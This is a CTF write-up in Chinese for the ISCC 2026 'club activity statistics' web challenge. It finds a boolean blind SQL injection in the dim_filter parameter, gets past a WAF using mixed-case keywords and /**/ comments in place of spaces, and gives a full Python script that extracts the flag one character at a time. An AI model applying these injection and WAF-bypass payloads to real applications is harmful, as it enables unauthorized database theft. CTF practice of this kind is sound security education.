【2026】ISCC 社团活动统计
社团活动统计
题目类型:web
收集信息:
路径:/static/hint/tech_stack.txt
页面重点标记了"活动","管理",和数据统计
即activity,admin,stat
这里查看源代码发现:
ISCC{Campus_Stat_A_只有一半
The target might be combined with previous clues把线索连起来
得到这几个提示:💡 提示:暴力走不通,观察=通关,这里没有直接的,但也许可以从这里开始......,也许这是中间的一步?关键词:也许
,这是一个终结,也是新的开始。
猜测这上面的是访问顺序
以此我们可以猜出来是:/admin/stat/activity
需要我们有合规请求头user-agent,referer,token
没线索了,返回去看下robot.txt
找到user-agent:Campus-Stat/1.0 Referer:campus-stat.example.com
通过暴力猜测猜出/?page=2
获得token:X-Campus-Token: campus-ctf-2024-abc123
条件齐全访问/admin/stat/activity
发现注入点get和三个隐藏提示:
提示1、title:该参数用做别名使用 提示2、藏在不可见元素中 提示3、Flag表存在flag表的value字段,用/**/替代空格
发现:注入点是dim_filter,flag线索,waf绕过
参数分析
判断dim_filter是否为表达式
?dim_filter=1=1
?dim_filter=2>1
?dim_filter=3<2
观察结果:
条件为真,显示数字为10
条件为假,显示数字为0
证实为表达式。可以盲注
绕过waf
实测发现空格,敏感词不是过滤就是拦截 ,大小没限制,union不可用,可以用/**/替代空格
实测发现 FROM UNION SELECT 等直接写会被拦截,
可以用大小写和注释代替空格绕过
SeLeCt/**/value/**/FrOm/**/flag
测试对的
?dim_filter=substr((SeLeCt/**/value/**/FrOm/**/flag),1,1)='I'为10
测试错的
?dim_filter=substr((SeLeCt/**/value/**/FrOm/**/flag),1,1)='X'
然后测出flag长度27
flag:ISCC{Campus_Stat_A_7K!zY@w}
exp:
import requests import re import string # 目标地址与请求头 target_url = "http://39.105.213.28:8000/admin/stat/activity/" head_conf = { "User-Agent": "Campus-Stat/1.0", "Referer": "https://campus-stat.example.com/", "X-Campus-Token": "campus-ctf-2024-abc123", } # 可爆破字符集 char_list = string.ascii_letters + string.digits + "!@#$%^&*()_+-=[]{}|;:,.<>?~" # 发送注入请求并判断结果 def check_inject(payload): param = {"dim_filter": payload} resp = requests.get(target_url, headers=head_conf, params=param, timeout=8) match_obj = re.findall(r'<div class="count">(.+?)</div>', resp.text, re.S) if match_obj: return "10" in match_obj[0] return False # 第一步:获取flag长度 flag_len = 0 for num in range(1, 70): inject_exp = f"length((SeLeCt/**/value/**/FrOm/**/flag))={num}" if check_inject(inject_exp): flag_len = num print(f"[*] 获取flag长度:{flag_len}") break # 第二步:逐字符爆破flag final_flag = "" for idx in range(1, flag_len + 1): for c in char_list: test_sql = f"substr((SeLeCt/**/value/**/FrOm/**/flag),{idx},1)='{c}'" if check_inject(test_sql): final_flag += c print(f"[*] 第{idx}位:{final_flag}") break print(f"\n[✅] 最终flag:{final_flag}")